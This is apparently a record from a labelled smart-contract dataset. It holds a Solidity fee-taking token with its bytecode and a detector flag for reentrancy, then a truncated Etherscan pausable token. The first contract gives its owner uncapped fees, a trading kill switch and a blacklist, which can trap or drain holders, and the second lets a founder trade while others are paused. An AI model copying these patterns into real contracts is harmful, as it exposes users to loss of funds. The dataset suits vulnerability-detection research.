_isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; _isAllowedToTradeWhenDisabled[owner()] = true; _isAllowedToTradeWhenDisabled[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "Trading is currently disabled."); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function _getNow() private view returns (uint256) { return block.timestamp; } function activateTrading() external onlyOwner { isTradingEnabled = true; } function deactivateTrading() external onlyOwner { isTradingEnabled = false; _tradingPausedTimestamp = _getNow(); } function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner { _isAllowedToTradeWhenDisabled[account] = allowed; emit AllowedWhenTradingDisabledChange(account, allowed); } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function blockBots(address botwallet) external onlyOwner { bots[botwallet] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106102125760003560e01c806374010ece11610118578063a9059cbb116100a0578063d32215761161006f578063d3221576146105f2578063d4a3883f14610612578063dd62ed3e14610632578063ea1644d514610678578063f2fde38b1461069857600080fd5b8063a9059cbb1461056d578063bfd792841461058d578063c3c8cd80146105bd578063c492f046146105d257600080fd5b80638da5cb5b116100e75780638da5cb5b146104f95780638f9a55c01461051757806395d89b411461027657806398a5c3151461052d578063a2a957bb1461054d57600080fd5b806374010ece146104765780637d1db4a5146104965780637f2feddc146104ac5780638ba4cc3c146104d957600080fd5b8063313ce5671161019b5780636b9990531161016a5780636b999053146103ec5780636d8aa8f81461040c5780636fc3eaec1461042c57806370a0823114610441578063715018a61461046157600080fd5b8063313ce5671461037b57806334cf1fea1461039757806349bd5a5e146103ac57806363c6f912146103cc57600080fd5b80630bd05b69116101e25780630bd05b69146102d35780631694505e146102e857806318160ddd1461032057806323b872dd146103455780632fd689e31461036557600080fd5b8062b8cf2a1461021e578063064a59d01461024057806306fdde0314610276578063095ea7b3146102b357600080fd5b3661021957005b600080fd5b34801561022a57600080fd5b5061023e610239366004611c7e565b6106b8565b005b34801561024c57600080fd5b5060165461026190600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b34801561028257600080fd5b50604080518082018252600e81526d4368756262792053616974616d6160901b6020820152905161026d9190611d43565b3480156102bf57600080fd5b506102616102ce366004611d98565b610757565b3480156102df57600080fd5b5061023e61076e565b3480156102f457600080fd5b50601554610308906001600160a01b031681565b6040516001600160a01b03909116815260200161026d565b34801561032c57600080fd5b50670de0b6b3a76400005b60405190815260200161026d565b34801561035157600080fd5b50610261610360366004611dc4565b6107ad565b34801561037157600080fd5b50610337601b5481565b34801561038757600080fd5b506040516009815260200161026d565b3480156103a357600080fd5b5061023e610816565b3480156103b857600080fd5b50601654610308906001600160a01b031681565b3480156103d857600080fd5b5061023e6103e7366004611e05565b610853565b3480156103f857600080fd5b5061023e610407366004611e05565b6108a1565b34801561041857600080fd5b5061023e610427366004611e32565b6108ec565b34801561043857600080fd5b5061023e610930565b34801561044d57600080fd5b5061033761045c366004611e05565b61097b565b34801561046d57600080fd5b5061023e61099d565b34801561048257600080fd5b5061023e610491366004611e4d565b610a11565b3480156104a257600080fd5b5061033760195481565b3480156104b857600080fd5b506103376104c7366004611e05565b60126020526000908152604090205481565b3480156104e557600080fd5b5061023e6104f4366004611d98565b610a40565b34801561050557600080fd5b506000546001600160a01b0316610308565b34801561052357600080fd5b50610337601a5481565b34801561053957600080fd5b5061023e610548366004611e4d565b610a9b565b34801561055957600080fd5b5061023e610568366004611e66565b610aca565b34801561057957600080fd5b50610261610588366004611d98565b610b08565b34801561059957600080fd5b506102616105a8366004611e05565b60116020526000908152604090205460ff1681565b3480156105c957600080fd5b5061023e610b15565b3480156105de57600080fd5b5061023e6105ed366004611ee4565b610b69565b3480156105fe57600080fd5b5061023e61060d366004611f38565b610c0a565b34801561061e57600080fd5b5061023e61062d366004611f6d565b610c93565b34801561063e57600080fd5b5061033761064d366004611fd9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561068457600080fd5b5061023e610693366004611e4d565b610d86565b3480156106a457600080fd5b5061023e6106b3366004611e05565b610db5565b6000546001600160a01b031633146106eb5760405162461bcd60e51b81526004016106e290612012565b60405180910390fd5b60005b81518110156107535760016011600084848151811061070f5761070f612047565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061074b81612073565b9150506106ee565b5050565b6000610764338484610e9f565b5060015b92915050565b6000546001600160a01b031633146107985760405162461bcd60e51b81526004016106e290612012565b6016805460ff60a01b1916600160a01b179055565b60006107ba848484610fc3565b61080c84336108078560405180606001604052806028815260200161218d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611502565b610e9f565b5060019392505050565b6000546001600160a01b031633146108405760405162461bcd60e51b81526004016106e290612012565b6016805460ff60a01b1916905542601755565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016106e290612012565b6001600160a01b03166000908152601160205260409020805460ff19166001179055565b6000546001600160a01b031633146108cb5760405162461bcd60e51b81526004016106e290612012565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146109165760405162461bcd60e51b81526004016106e290612012565b601880549115156101000261ff0019909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061096557506014546001600160a01b0316336001600160a01b0316145b61096e57600080fd5b476109788161153c565b50565b6001600160a01b03811660009081526002602052604081205461076890611576565b6000546001600160a01b031633146109c75760405162461bcd60e51b81526004016106e290612012565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a3b5760405162461bcd60e51b81526004016106e290612012565b601955565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b81526004016106e290612012565b610a726115fa565b610a8a3383610a8584633b9aca0061208e565b610fc3565b610753600f54600d55601054600e55565b6000546001600160a01b03163314610ac55760405162461bcd60e51b81526004016106e290612012565b601b55565b6000546001600160a01b03163314610af45760405162461bcd60e51b81526004016106e290612012565b600993909355600b91909155600a55600c55565b6000610764338484610fc3565b6013546001600160a01b0316336001600160a01b03161480610b4a57506014546001600160a01b0316336001600160a01b0316145b610b5357600080fd5b6000610b5e3061097b565b905061097881611628565b6000546001600160a01b03163314610b935760405162461bcd60e51b81526004016106e290612012565b60005b82811015610c04578160056000868685818110610bb557610bb5612047565b9050602002016020810190610bca9190611e05565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bfc81612073565b915050610b96565b50505050565b6000546001600160a01b03163314610c345760405162461bcd60e51b81526004016106e290612012565b6001600160a01b038216600081815260066020908152604091829020805460ff191685151590811790915591519182527fcb9f97b7b4b41413e5c8d418a8cf9a88db1cf34dee66b213d070faf881d9d350910160405180910390a25050565b6000546001600160a01b03163314610cbd5760405162461bcd60e51b81526004016106e290612012565b6000838214610d0e5760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e67746800000000000000000060448201526064016106e2565b83811015610d7f57610d6d858583818110610d2b57610d2b612047565b9050602002016020810190610d409190611e05565b848484818110610d5257610d52612047565b90506020020135633b9aca00610d68919061208e565b6117a8565b610d786001826120ad565b9050610d0e565b5050505050565b6000546001600160a01b03163314610db05760405162461bcd60e51b81526004016106e290612012565b601a55565b6000546001600160a01b03163314610ddf5760405162461bcd60e51b81526004016106e290612012565b6001600160a01b038116610e445760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106e2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106e2565b6001600160a01b038216610f625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106e2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106e2565b6001600160a01b0382166110895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106e2565b600081116110eb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106e2565b6000546001600160a01b0384811691161480159061111757506000546001600160a01b03838116911614155b156113fb576001600160a01b03831660009081526006602052604090205460ff1615801561115e57506001600160a01b03821660009081526006602052604090205460ff16155b156111bc57601654600160a01b900460ff166111bc5760405162461bcd60e51b815260206004820152601e60248201527f54726164696e672069732063757272656e746c792064697361626c65642e000060448201526064016106e2565b60195481111561120e5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106e2565b6001600160a01b03831660009081526011602052604090205460ff1615801561125057506001600160a01b03821660009081526011602052604090205460ff16155b6112a85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016106e2565b6016546001600160a01b0383811691161461132d57601a54816112ca8461097b565b6112d491906120ad565b1061132d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106e2565b60006113383061097b565b601b546019549192508210159082106113515760195491505b808015611361575060185460ff16155b801561137b57506016546001600160a01b03868116911614155b801561138e5750601854610100900460ff165b80156113b357506001600160a01b03851660009081526005602052604090205460ff16155b80156113d857506001600160a01b03841660009081526005602052604090205460ff16155b156113f8576113e682611628565b4780156113f6576113f64761153c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061143d57506001600160a01b03831660009081526005602052604090205460ff165b8061146f57506016546001600160a01b0385811691161480159061146f57506016546001600160a01b03848116911614155b1561147c575060006114f6565b6016546001600160a01b0385811691161480156114a757506015546001600160a01b03848116911614155b156114b957600954600d55600a54600e555b6016546001600160a01b0384811691161480156114e457506015546001600160a01b03858116911614155b156114f657600b54600d55600c54600e555b610c04848484846117bb565b600081848411156115265760405162461bcd60e51b81526004016106e29190611d43565b50600061153384866120c5565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610753573d6000803e3d6000fd5b60006007548211156115dd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e2565b60006115e76117e9565b90506115f3838261180c565b9392505050565b600d5415801561160a5750600e54155b1561161157565b600d8054600f55600e805460105560009182905555565b6018805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166a5761166a612047565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116be57600080fd5b505afa1580156116d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f691906120dc565b8160018151811061170957611709612047565b6001600160a01b03928316602091820292909201015260155461172f9130911684610e9f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906117689085906000908690309042906004016120f9565b600060405180830381600087803b15801561178257600080fd5b505af1158015611796573d6000803e3d6000fd5b50506018805460ff1916905550505050565b6117b06115fa565b610a8a338383610fc3565b806117c8576117c86115fa565b6117d384848461184e565b80610c0457610c04600f54600d55601054600e55565b60008060006117f6611945565b9092509050611805828261180c565b9250505090565b60006115f383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611985565b600080600080600080611860876119b3565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506118929087611a10565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118c19086611a52565b6001600160a01b0389166000908152600260205260409020556118e381611ab1565b6118ed8483611afb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161193291815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611960828261180c565b82101561197c57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836119a65760405162461bcd60e51b81526004016106e29190611d43565b506000611533848661216a565b60008060008060008060008060006119d08a600d54600e54611b1f565b92509250925060006119e06117e9565b905060008060006119f38e878787611b74565b919e509c509a509598509396509194505050505091939550919395565b60006115f383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611502565b600080611a5f83856120ad565b9050838110156115f35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e2565b6000611abb6117e9565b90506000611ac98383611bc4565b30600090815260026020526040902054909150611ae69082611a52565b30600090815260026020526040902055505050565b600754611b089083611a10565b600755600854611b189082611a52565b6008555050565b6000808080611b396064611b338989611bc4565b9061180c565b90506000611b4c6064611b338a89611bc4565b90506000611b6482611b5e8b86611a10565b90611a10565b9992985090965090945050505050565b6000808080611b838886611bc4565b90506000611b918887611bc4565b90506000611b9f8888611bc4565b90506000611bb182611b5e8686611a10565b939b939a50919850919650505050505050565b600082611bd357506000610768565b6000611bdf838561208e565b905082611bec858361216a565b146115f35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e2565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461097857600080fd5b8035611c7981611c59565b919050565b60006020808385031215611c9157600080fd5b823567ffffffffffffffff80821115611ca957600080fd5b818501915085601f830112611cbd57600080fd5b813581811115611ccf57611ccf611c43565b8060051b604051601f19603f83011681018181108582111715611cf457611cf4611c43565b604052918252848201925083810185019188831115611d1257600080fd5b938501935b82851015611d3757611d2885611c6e565b84529385019392850192611d17565b98975050505050505050565b600060208083528351808285015260005b81811015611d7057858101830151858201604001528201611d54565b81811115611d82576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611dab57600080fd5b8235611db681611c59565b946020939093013593505050565b600080600060608486031215611dd957600080fd5b8335611de481611c59565b92506020840135611df481611c59565b929592945050506040919091013590565b600060208284031215611e1757600080fd5b81356115f381611c59565b80358015158114611c7957600080fd5b600060208284031215611e4457600080fd5b6115f382611e22565b600060208284031215611e5f57600080fd5b5035919050565b60008060008060808587031215611e7c57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f840112611eaa57600080fd5b50813567ffffffffffffffff811115611ec257600080fd5b6020830191508360208260051b8501011115611edd57600080fd5b9250929050565b600080600060408486031215611ef957600080fd5b833567ffffffffffffffff811115611f1057600080fd5b611f1c86828701611e98565b9094509250611f2f905060208501611e22565b90509250925092565b60008060408385031215611f4b57600080fd5b8235611f5681611c59565b9150611f6460208401611e22565b90509250929050565b60008060008060408587031215611f8357600080fd5b843567ffffffffffffffff80821115611f9b57600080fd5b611fa788838901611e98565b90965094506020870135915080821115611fc057600080fd5b50611fcd87828801611e98565b95989497509550505050565b60008060408385031215611fec57600080fd5b8235611ff781611c59565b9150602083013561200781611c59565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156120875761208761205d565b5060010190565b60008160001904831182151516156120a8576120a861205d565b500290565b600082198211156120c0576120c061205d565b500190565b6000828210156120d7576120d761205d565b500390565b6000602082840312156120ee57600080fd5b81516115f381611c59565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121495784516001600160a01b031683529383019391830191600101612124565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261218757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205cfdf3cb3bdca76c4512260ea5dc6dfe4bddce670243ddf305b39970a5fc94a364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,684
0xed1bbc3278bcec2d47d9d2f698ce68de8214c591
/** *Submitted for verification at Etherscan.io on 2020-07-27 */ pragma solidity 0.5.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balanceOf(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(allowed[_from][msg.sender] >= _value); require(balanceOf(_from) >= _value); require(balances[_to].add(_value) > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is StandardToken { event Pause(); event Unpause(); bool public paused = false; address public founder; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused || msg.sender == founder); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract PausableToken is Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } //The functions below surve no real purpose. Even if one were to approve another to spend //tokens on their behalf, those tokens will still only be transferable when the token contract //is not paused. function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function 